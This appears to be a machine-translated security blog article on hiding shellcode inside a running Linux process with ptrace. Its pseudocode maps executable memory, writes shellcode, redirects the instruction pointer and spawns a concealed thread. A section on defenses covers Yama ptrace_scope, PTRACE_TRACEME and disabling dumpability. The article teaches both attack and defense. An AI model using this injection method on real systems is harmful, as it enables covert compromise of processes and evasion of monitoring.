a hidden injection shellcode technology and defense method under Linux

0 21
PrefaceUnixand classUnixoperating system providedptracesystem call support one p...

Preface

Unixand classUnixoperating system providedptracesystem call support one process to control another process, often used for program debugging, analysis and monitoring tools, such asgdb,straceetc. Throughptracecan view and modify the internal state of the controlled process, so penetration attacks in injectionshellcodewhen it will also useptrace.This article introduces aLinuxusingptraceHidden injectionshellcodeand defense methods.

Background

different versions of operating systems have their own implementationsptracesystem call methods, this article only focuses onLinuxenvironment, so let's briefly explainLinuxbelowptracesystem call usage. First define the controlled process(tracer)and the controlled process(tracee),tracercan observe and controltraceeexecution flow, check and modifytraceememory and register contents, atraceecan only be associated withattach)atracer,atracercan be associated with multipletracee.It should be noted thatLinuxnexttraceeis actually a thread, each thread in a process containing multiple threads can be associated with its owntracer.AllptraceFunction is called through an interface function, the format is as follows:

a hidden injection shellcode technology and defense method under Linux
long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);

The first parameterrequestincludes the specific functions called, the meanings of the next three parameters are related to the first parameter, different functions need to set the corresponding parameters, detailed definitions can be found in the operating system documentation (man ptrace)。Figure1DemonstratestracerControl atraceeprocess.

Figure 1 Ptrace Control Flow

Figure1 ptracecontrol flow

1) tracercallPTRACE_ATTACHfunction associated withtracee, totraceeSendSIGSTOPsignal, and callwaitpidwaittraceestate change;

2) WhentraceeThe state becomesSTOP,waitpidReturn;

3) tracercallPTRACE_SYSCALLfunction makestraceeEnter single-step execution state and callwaitpidwaittraceestate change;

4) repeat steps2)and steps3);

5) tracercallPTRACE_DETACHfunction makestraceeresume running, and disassociate.

steps3)intracercan check and modifytraceememory and register content, inject for penetration attacksshellcodeprovides the possibility, and the next step describes the exploitationptraceHidden injectionshellcodeTechnical details.

Three, Technology

to achieve hidden injectionshellcodeThe target needs to solve three problems:

1) shellcodewhere it is stored?

2) How to executeshellcode؟

3) How to avoid being easily discovered while runningshellcode؟

To solve the first problem, it is necessary to understandLinuxThe process's memory structure, as shown in the figure2as shown.

Figure 2 Linux Process Memory Structure (x86, similar to x86-64)

Figure2 LinuxProcess Memory Structure (x86,x86-64(similar to)

executecat /proc/<pid>/mapscan view the process<pid>of the memory structure, figure3istopThe process's memory structure.

Figure 3 top Process Memory Structure

Figure3 topProcess Memory Structure

The second field of each line indicates the attributes of the memory segment, including'x'with executable permissions. It is easiest to write toshellcodeThe location isMemory Mapping SegmentIt is possible to apply for an anonymous memory segment with the attributes ofrwxpand writeshellcodeThe pseudocode is as follows:

// Associate with tracee
ptrace(PTRACE_ATTACH, tracee_pid, NULL, NULL);
waitpid(tracee_pid, 0, 0)
// Modify the system call to SYS_mmap and execute step by step, restore the original code after execution
mem_addr = remote_mmap(tracee_pid, NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANON, -1, 0);
// Write shellcode to the allocated memory segment
poke_text(tracee_pid, (size_t) mem_addr, shellcode, SHELL_LEN);

The first problem has been solved:shellcodewhere it is stored, and then solve the second problem: how to executeshellcodeThis problem is relatively simple, modify the registerripismem_addrThen runtraceeThen it can be executedshellcodeThe pseudocode is as follows:

// Read the tracee registers and backup
ptrace(PTRACE_GETREGS, tracee_pid, NULL, ®s);
memcpy(&old_regs, ®s, sizeof(struct user_regs_struct));
// Modify rip to mem_addr (the address of shellcode)
regs.rip = (u_int64_t) mem_addr;
regs.rip += 2
// Set tracee registers
ptrace(PTRACE_SETREGS, tracee_pid, NULL, ®s)
// Execute shellcode, assuming the shellcode ends with a getpid system call
for (;;) {
  ptrace(PTRACE_SYSCALL, tracee_pid, NULL, NULL)
  waitpid(tracee_pid, 0, 0)
  ptrace(PTRACE_GETREGS, tracee_pid, 0, ®s)
  if (regs.orig_rax == 39) {
    // After executing getpid system call, restore tracee state
    ptrace(PTRACE_SETREGS, tracee_pid, NULL, &old_regs)
    break
  }
}
// Restore tracee execution
ptrace(PTRACE_DETACH, tracee_pid, NULL, NULL)

However, the above code is onlytraceeprocess (thread)shellcodestill cannot achieve the purpose of hiding the injection. A simple solution is to executetraceea new thread is created in the process, andshellcodein the process whereshellcodeis added to the loop that can keep running. At this point, it is difficult to detect the injectedshellcode; iftracee; the process originally contains multiple threads, and it is difficult to accurately determine whether it has been injected by monitoring thread statusshellcode; although the checktraceeThe memory segment of the process can find an anonymous memory segment with execution permissions, but some processes inherently have anonymous memory segments with execution permissions, and it is still not accurate to determine whether they existshellcodeIn summary, this new thread executionshellcodeThe method can solve the third problem: how not to be easily discovered while runningshellcodeThe pseudocode is as follows:

// Set the stack for the new thread
stack_addr = remote_mmap(tracee_pid, NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0)
stack_top = stack_addr + 4096
poke_text(tracee_pid, (size_t)stack_addr, (char *)&mem_addr, sizeof(void *))
// Modify the system call to SYS_clone and execute it step by step, restore the execution of the original code after creating the new thread
thread_pid = remote_clone(pid, CLONE_PTRACE | CLONE_SIGHAND | CLONE_THREAD | CLONE_VM | CLONE_FS | CLONE_FILES, stack_top)
// Execute shellcode in the newly created thread
ptrace(PTRACE_GETREGS, thread_pid, NULL, ®s)
regs.rip = (u_int64_t) mem_addr;
ptrace(PTRACE_SETREGS, thread_pid, NULL, ®s)
ptrace(PTRACE_DETACH, thread_pid, NULL, NULL)

Four, defense

Linuxkernel uses the graph4described algorithm to check the caller (caller) relative to the target (target) ofptraceaccess permission. First check whether the caller and the target are in the same thread group, if yes, allow (allowed) to useptracefunction; then according to the user number of the caller and the target user (uid) and group number (gid) are consistent, and whether the target has a dumpable (dumpable) attributes, whether the caller hasCAP_SYS_PTRACEpermission, to determine whether to refuse (denied) to useptracefunction; then callLinuxSecurity module (LSM), for example:SELinux,Yama,Smacketc., different security modules have their own check and judgment rules; finally, if the previous check does not refuse to useptracefunction, then it is allowed to use.

Figure 4 Linux Kernel Ptrace Access Mode Checking Algorithm

Figure4 LinuxkernelptraceAccess mode check algorithm

Except when obtaining access in the same thread group,ptracefunction permission must go throughLinuxSecurity module (LSMTherefore, it can be configuredLSMlimitptracefunction, usingYamaFor example: set the parameter/proc/sys/kernel/yama/ptrace_scope(direct assignment or modification/etc/sysctl.confinkernel.yama.ptrace_scopeThe parameter) can controlptraceThe function, parameter value definition is as follows:

0: A process can use other processes it has permission overPTRACE_ATTACHFunction.

1: A process can only use its subordinate child processes or threadsPTRACE_ATTACHFunction.

2: Only those who haveCAP_SYS_PTRACEThe process with permission can use other processesPTRACE_ATTACHFunction.

3: Any process cannot usePTRACE_ATTACHorPTRACE_TRACEMEFunction, and the parameterptrace_scopeCannot be changed.

The value can be set according to the application requirements, the appropriate/proc/sys/kernel/yama/ptrace_scopeValue, for example: production environment set to3DisableptraceFunction, the development environment is set to1Used to debug programs.

In addition, according to atraceeCan only associate atracerThe rules, can be used at the beginning of the programPTRACE_TRACEMEFunction will turn the current thread intotracee, other processes can no longer usePTRACE_ATTACHBecausePTRACE_ATTACHAct on a thread, all related threads need to usePTRACE_TRACEMEIn order to avoid the process being usedPTRACE_ATTACHFunction.

It can also be usedprctlSystem call to disable the process's dump function, specific usage is as follows:

prctl(PR_SET_DUMPABLE, SUID_DUMP_DISABLE, 0, 0, 0);

After using the above system call, the process cannot be accessed by other processes (those that haveCAP_SYS_PTRACEPermission processes except) usePTRACE_ATTACHFunction. This method is only applicable to the caller withoutCAP_SYS_PTRACEIn the case of permission, but it can act on the running process, the specific method is as follows:

1) The callprctlMake the operation into ashellcode;

2) UsingptraceTransfer1)Generated inshellcodeInject into the running target process and execute;

3) Restore the target process state and continue running.

V. Summary

ptraceSystem calls bring convenience to program development and debugging, but because of their powerful functions, they become a double-edged sword. This article introduces hidden injectionshellcodeTechnical cooperation with other penetration attack methods can pose a serious threat to system security, therefore, attention should be paid to prevention in security protection work.

Note: The code mentioned in this article is inkali-rolling (x86_64)The test was successful.

References:

https://sploitfun.wordpress.com/2015/02/11/syscalls-used-by-malloc/ (Source of Memory Structure Diagram)

https://github.com/Srakai/Adun (The idea of creating a new thread comes from here)

https://www.kernel.org/doc/html/latest/admin-guide/LSM/Yama.html

你可能想看:

d) Adopt identification technologies such as passwords, password technologies, biometric technologies, and combinations of two or more to identify users, and at least one identification technology sho

Announcement regarding the addition of 7 units as technical support units for the Ministry of Industry and Information Technology's mobile Internet APP product security vulnerability database

From 0 to 1, this article is enough to collect SQL injection (sql ten injection types), technical analysis and practical training

DLL injection vs. Shellcode injection

b) It should have the login failure handling function, and should configure and enable measures such as ending the session, limiting the number of illegal logins, and automatically exiting when the lo

Data security can be said to be a hot topic in recent years, especially with the rapid development of information security technologies such as big data and artificial intelligence, the situation of d

b) It should have a login failure handling function, and should configure and enable measures such as ending the session, limiting the number of illegal login attempts, and automatically logging out w

Distributed Storage Technology (Part 2): Analysis of the architecture, principles, characteristics, and advantages and disadvantages of wide-column storage and full-text search engines

Google Android 11 Beta version officially released, Baidu Security fortification technology first fully compatible

Hackers are using Windows RID hijacking technology to create hidden administrative accounts.

最后修改时间:
admin
上一篇 2025年03月26日 14:07
下一篇 2025年03月26日 14:30

评论已关闭